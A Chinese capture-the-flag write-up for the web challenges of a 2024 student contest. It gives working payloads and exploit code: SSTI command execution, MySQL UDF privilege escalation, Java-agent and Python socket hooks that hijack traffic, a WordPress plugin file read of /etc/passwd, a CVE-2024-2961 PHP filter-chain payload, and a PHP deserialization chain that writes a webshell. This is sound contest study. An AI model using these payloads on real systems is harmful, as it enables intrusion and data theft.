1. 前言
个人赛，参赛的主要都是学生，不是特别卷。因为web比较有意思，AWDP也有三道是web。虽然有的题没解出来，但除了MyCMS没时间碰，其他基本都摸的差不多了。
2. brother
本来是最难的一道题，但因为出题者没有正确的限制mysql的文件读写权限导致被偷鸡。
一眼SSTI
/?name={{”.__class__.__base__.__subclasses__()[133].__init__.__globals__[‘popen’](‘ps aux’).read()}}
本来是很难的多层权限提权题目，但看到mysql是root权限启动后就觉得可以偷。
api.py里有mysql账户密码，而且ctf是root权限，且secure_file_priv为空。一眼udf提权，直接掏出珍藏多年的linux udf脚本搞定。
show global variables like '%secure_file_priv%';show variables like '%plugin%';select * from func;select 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into dumpfile '/usr/lib/mysql/plugin/mysqludf.so';create function sys_eval returns string soname 'mysqludf.so';select sys_eval('whoami');
3. brother_revenge(未解出)
前者打了补丁，mysql被降权且secure_file_priv为一个固定目录，因此无法直接load_file或者into outfile来读文件或者导出udf。
废了很大劲做到最后一个点了，没做出来。大概题目设计是这样的。
【one】
www.py(SSTI)
sql-proxy.jar(代理3306到6666服务端)
【two】
api.py(1，建立3306连接，每隔10秒执行一次select version();)
api.py(2，起server_socket到7777，每隔10秒向连接的客户端发送一次{“code”:0, “path”: “”})
api.py(3，起Flask到5000，读evil.key，如果正确的话可exec任意python代码)
【three】
update.py(访问7777端口，code=1则从path中获取gz文件，解压其中的new.bin到/updatedir)
/usr/lib/mysql/plugin/(有写入权限)
【mysql】
用udf读flag
整个攻击流程为：
SSTI拿到one权限
java agent hook sql-proxy.jar，劫持two用户访问到的mysql流量
fake mysql读evil.key
带evil.key访问5000，拿到two权限
python hook socket.socket.send，劫持three用户访问7777的流量
控制three解压恶意tar.gz文件
写入/usr/lib/mysql/plugin/udf.so，拿到mysql udf权限
难点在于必须保持mysql和7777 TCP连接不中止的清空下篡改流量，和tar.gz的解压漏洞，以下是具体过程。
先是one的权限，SSTI拿到，不赘述。
其sql-proxy.jar起了一个代理
base64代码如下，其实就是把3306转到了6666。
package com.ctf;import java.io.IOException;import java.io.InputStream;import java.io.OutputStream;import java.net.ServerSocket;import java.net.Socket;public class Proxy {private int c = 0;public Proxy() {int sourcePort = 6666;String destinationHost = "127.0.0.1";short destinationPort = 3306;try {ServerSocket serverSocket = new ServerSocket(sourcePort);try {while(true) {while(true) {try {Socket sourceSocket = serverSocket.accept();System.out.println(sourceSocket.getRemoteSocketAddress());Socket destinationSocket = new Socket(destinationHost, destinationPort);Thread sourceToDestination = new Thread(() -> {this.forwardData(sourceSocket, destinationSocket);});sourceToDestination.start();Thread destinationToSource = new Thread(() -> {this.forwardData(destinationSocket, sourceSocket);});destinationToSource.start();} catch (Exception var10) {var10.printStackTrace();}}}} catch (Throwable var11) {try {serverSocket.close();} catch (Throwable var9) {var11.addSuppressed(var9);}throw var11;}} catch (Exception var12) {var12.printStackTrace();}}private void forwardData(Socket inputSocket, Socket outputSocket) {try {InputStream inputStream = inputSocket.getInputStream();try {OutputStream outputStream = outputSocket.getOutputStream();try {byte[] buffer = new byte[1024];int read;while((read = inputStream.read(buffer)) != -1) {this.send(outputStream, buffer, read);}} catch (Throwable var10) {if (outputStream != null) {try {outputStream.close();} catch (Throwable var9) {var10.addSuppressed(var9);}}throw var10;}if (outputStream != null) {outputStream.close();}} catch (Throwable var11) {if (inputStream != null) {try {inputStream.close();} catch (Throwable var8) {var11.addSuppressed(var8);}}throw var11;}if (inputStream != null) {inputStream.close();}} catch (Exception var12) {try {inputSocket.close();outputSocket.close();} catch (Exception var7) {}}}private void send(OutputStream o, byte[] data, int c) throws IOException {o.write(data, 0, c);o.flush();}}
6666是two用户在api.py里用的，每隔10秒执行一下select version();
因为connect不在while里，所以要一直保持连接不中断，所以没办法kill掉sql-proxy.jar另起一个fake mysql server。
只能用java agent hook send方法，这样可以劫持mysql流量。
因为send和recv都走这个地方，所以需要判断mysql的响应包，将其替换为读取文件的恶意流量。然后把流量都输出到文件里，核心代码如下。
package javaagent;import javassist.ClassClassPath;import javassist.ClassPool;import javassist.CtClass;import javassist.CtMethod;import java.io.ByteArrayInputStream;import java.lang.instrument.ClassFileTransformer;import java.security.ProtectionDomain;public class ProxyTransformer implements ClassFileTransformer {public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) {if(!className.startsWith("com/ctf/Proxy")){return classfileBuffer;}try{ClassPool cp = ClassPool.getDefault();ClassClassPath classPath = new ClassClassPath(classBeingRedefined);cp.insertClassPath(classPath);CtClass cc;try {cc = cp.get("com.ctf.Proxy");} catch (Exception e) {cc = cp.makeClass(new ByteArrayInputStream(classfileBuffer));}CtMethod m = cc.getDeclaredMethod("send");m.addLocalVariable("elapsedTime", CtClass.longType);//m.insertBefore("System.out.println("agent");");m.insertBefore(" String strdata = new String($2); rn"+ " if (strdata.contains("def")) {rn"+ " $2 = java.util.Base64.getDecoder().decode("DgAAAfsvYXBwL2V2aWwua2V5b2cAAQAAAEEfGGYKPWJdAA2iIQAAOwEVAAAAAAAAAAAAABBQVDsVbwVuDWt8IgBteXNxbF9uYXRpdmVfcGFzc3dvcmQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==");rn"+ " $3 = 25;rn"+ " }rn"+ " strdata = new String($2); rn"+ " java.io.File filePath = new java.io.File("/tmp/log.txt");rn"+ " rn"+ " java.io.FileWriter fileWriter = new java.io.FileWriter(filePath, true);rn"+ " fileWriter.write(java.util.Base64.getEncoder().encodeToString($2));rn"+ " fileWriter.write("\nnnnnnnnnnnn\n");rn"+ " fileWriter.close();rn"+ " $1.write($2, 0, $3);rn"+ " $1.flush();rn"+ " return;");// /etc/passwd//DAAAAfsvZXRjL3Bhc3N3ZC1sb2cAAQAAACNMc19pVCUqAA2iIQAAOwEVAAAAAAAAAAAAAG4gWjpuHQoCPScMCgBteXNxbF9uYXRpdmVfcGFzc3dvcmQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==byte[] byteCode = cc.toBytecode();cc.detach();return byteCode;}catch (Exception e){e.printStackTrace();System.out.println("falied change");return null;}}}
hook了之后就能读到evil.key(bb889ebe2ca32f6b188f07240e2204b9
)了，有了evil.key就可以在two用户运行的api.py里执行任意python代码了。
然后服务器里没有curl只有wget，用python写个exp。
import requestsimport jsonurl = 'http://127.0.0.1:5000/evil'payload ='''print(1)'''data = {'code':payload,'key':'bb889ebe2ca32f6b188f07240e2204b9'}header = {'Content-Type':'application/json'}cookie = {}r = requests.post(url=url,data=json.dumps(data),headers=header,cookies=cookie)print(r.text)
拿到two用户权限有什么用呢？api.py最后一个没用到的部分是个socket server，监听在7777，是用来攻击three用户的。
跟java agent hook一样，这里也需要在不中断tcp连接的情况下hook流量，hook哪里呢？只需要看while的下一层就行了——socket.socket.send。本来我只会java，但问了chatGPT之后发现很容易，exp是这样的。
import requestsimport jsonurl = 'http://127.0.0.1:5000/evil'payload ='''import socketoriginal_send = socket.socket.senddef new_send(self, data, *args, **kwargs):global original_sendprint("Intercepted data:", data)modified_data = '{"code":1, "path": "./1.tar.gz"}'.encode('utf-8')return original_send(self, modified_data, *args, **kwargs)socket.socket.send = new_send'''data = {'code':payload,'key':'bb889ebe2ca32f6b188f07240e2204b9'}header = {'Content-Type':'application/json'}cookie = {}r = requests.post(url=url,data=json.dumps(data),headers=header,cookies=cookie)print(r.text)
hook了之后就能够给three用户发送payload了。three的update.py是这样的。
就是解压1.tar.gz中的new.bin到/updatedir。
很容易想到类似zip的目录穿越，但这里仅仅只能控制tar_path，也不是extractall，所以应该不是。猜测和软硬链接有关系，在我的本地测试成功可以在/updatedir里创建new.bin2文件。
因为mysql的plugin目录three用户有权限，最后的flag是mysql权限的(mysql读写文件被限制了)。所以很显然是想办法利用解压拿到three权限或者直接向plugin目录写udf。
在比赛结束的一瞬间，我就只做到这里了，具体是用到了tarfile的什么漏洞，我也不知道。可能最后这个地方还得卡半天。
4. w0rdpress
这题很不巧踩到我研究的点上了。
https://mp.weixin.qq.com/s/zcokg-eNjkNpxJZwFm0Zyg
弱口令subscriber/123456进低权限后台(subscriber可以用wpscan扫出来)。
WordPress基本都是插件漏洞，扫一扫就发现重点在这两个上。
https://wpscan.com/plugin/responsive-vector-maps/
https://wpscan.com/plugin/wpforo/
我在wpforo上浪费了很多时间，最终发现用这个打。
/wp-admin/admin-ajax.php?action=rvm_import_regions&nonce=5&rvm_mbe_post_id=1&rvm_upload_regions_file_path=/etc/passwd
但这样会被各种标签污染结果(文件内容会分段+重复出现+遗失部分)，所以要base64一下。
php://filter/convert.base64-encode/resource=/etc/passwd
获得了一个任意文件读。正常人会想到用phar反序列化，但php版本是8.3.4的。但我最近刚好研究过CVE-2024-2961。早就写好了本地利用脚本。
用php://filter/下载maps和libc.so，然后本地生成payload。
php://filter/read=zlib.inflate|zlib.inflate|dechunk|convert.iconv.latin1.latin1|dechunk|convert.iconv.latin1.latin1|dechunk|convert.iconv.latin1.latin1|dechunk|convert.iconv.UTF-8.ISO-2022-CN-EXT|convert.quoted-printable-decode|convert.iconv.latin1.latin1/resource=data:text/plain;base64,e3vXMO%2bJmQhbwrX3Jlci5LK5RLPTY59zHdIr7TVZGfScYaf/uYnVTwLvaK0UK2jQ%2bVGr8E%2b96olkoZyhbjYrA16QwHW66EhoXvjK5LD8jdejnomdZGPEr2PGkU0yhVNvh76acTX6zdZpO103OeLXwKC2Ucc95mnZVKu0r2LVa1PzJuYIELDi1OVNR0Nfgay45d/w/nHY/tiaHz%2b2vC29aX/179vS%2bjW/T/%2bu/%2bo4uae0ZvW%2b8/2SE//YEHDCh/ry9RdPfzY7NWNt9Jvvu/bn/T69bX/tPfnX/z7tu37r%2bOJ37y1rfz2///nf9l/vfyv/nIY/DB7stqndy6dQ/6tK1uHfl9Qz%2b668UO%2b9f//b72J5/dL9V/9m3pwf9/vo39L99uvC7//68u3yvy879K793flto9230r9ln9/W1u%2bMfb/5zffS/ffX1595Pf21rX3895p9x6r/d%2bypiPxd%2bWzm45biwwb7il0%2bfWbD7zOD3tSbj7S%2bapWeyeo12ry/7rfppLcEYvBAgdzEjWlbriV3G3V6/OIfVTyqeFQxnRUb7F16bUbmztMRb5OnqHqp3CZQfiVUea81vFw0feOt4xreUzy2EcrhX6ZFJS97qpe8tT9wmsbEHGb8yhsydUu7V1/5MVHut6W8%2ban2Hzv/fHz%2bfv8UIcFtBHQe2DJt19HQrD8e/X9jFtds6NggS8Ajy7Ze0V0X9Ni96s1zqafNrkfuAwA=
5. Hijack
php反序列化题，一眼条件竞争，直接放exp。
<?phperror_reporting(E_ALL);ini_set('display_errors', 1);function filter($a){$pattern = array(''', '"','%','(',')',';','bash');$pattern = '/' . implode('|', $pattern) . '/i';if(preg_match($pattern,$a)){die("No injecting!!!");}return $a;}class ENV{public $key;public $value;public $math;public function __toString(){$key=filter($this->key);$value=filter($this->value);putenv("$key=$value");system("cat hints.txt");}public function __wakeup(){if (isset($this->math->flag)){echo getenv("LD_PRELOAD");echo "YesYes";} else {echo "YesYesYes";}}}class DIFF{public $callback;public $back;private $flag = true;public function __isset($arg1){system("cat /flag");$this->callback->p;echo "You are stupid, what exactly is your identity?";}}class FILE{public $filename;public $enviroment;public function __get($arg1){if("hacker"==$this->enviroment){echo "Hacker is bad guy!!!";}}public function __call($function_name,$value){if (preg_match('/.[^.]*$/', $this->filename, $matches)) {$uploadDir = "/tmp/";$destination = $uploadDir . md5(time()) . $matches[0];if (!is_dir($uploadDir)) {mkdir($uploadDir, 0755, true);}file_put_contents($this->filename, base64_decode($value[0]));if (rename($this->filename, $destination)) {echo "文件成功移动到${destination}";} else {echo '文件移动失败。';}} else {echo "非法文件名。";}}}class FUN{public $fun;public $value;public function __get($name){$this->fun->getflag($this->value);}}$file = new FILE();$file -> filename = "1.php";$fun = new FUN();$fun -> fun = $file;$fun -> value = base64_encode("<?php echo md5(1);?>");$diff = new DIFF();$diff -> callback = $fun;$env = new ENV();$env -> math = $diff;$p = serialize($env);$p = str_replace("x00","%00",$p);echo $p;?>
此外，可能还存在其他解法，一眼putenv+LD_PRELOAD，似乎想让你劫持LD_PRELOAD。
也可能是P牛的环境变量劫持dash。利用system(“cat xxx”);触发。但要绕filter还得看环境不如条件竞争写webshell好用。
https://www.leavesongs.com/PENETRATION/how-I-hack-bash-through-environment-injection.html
6. ezSpring
一眼JNDI，有权限校验，没看懂代码怎么写的，但随便试试就绕过了。
/admin/lookup/xxx%0A
JNDI的工具我自己写了
urldns打一下(其实有源码没必要，习惯了)。
反序列化就jackson，FactoryObject就BeanFactory。
jackson1234都没打通，BeanFactory-EL也打不通。最后BeanFactory-yaml才明白是JDK17，修复了很多JNDI绕过的办法。
7. simplegoods(未解出)
这题虽然没做出来也应该全是摸清楚了。
前台可注册，到后台market.php有很明显的任意文件包含。
content是从goods表里面来的，可控吗？可控，在goods_api.php中可写入。
但是需要满足多个条件，最核心的就是/开头和.txt结尾，导致不能用伪协议，必须.txt文件。
judge.php能上传.txt。
所以一眼又是条件竞争+GD库绕过。
但是实际因为环境很脆弱，导致竞争失败，没做出来。
但也可能不是条件竞争。
因为php的过滤反而让.php后缀的文件能够留存在/tmp/data中，如果正则中没有$符号的话，有可能是1.php.txt这种格式，既可以提前die()，又满足.txt条件。
也可能跟是imagepng()的命名规则有关系。
原文始发于微信公众号（珂技知识分享）：2024春秋杯网络安全联赛夏季赛WP(web)
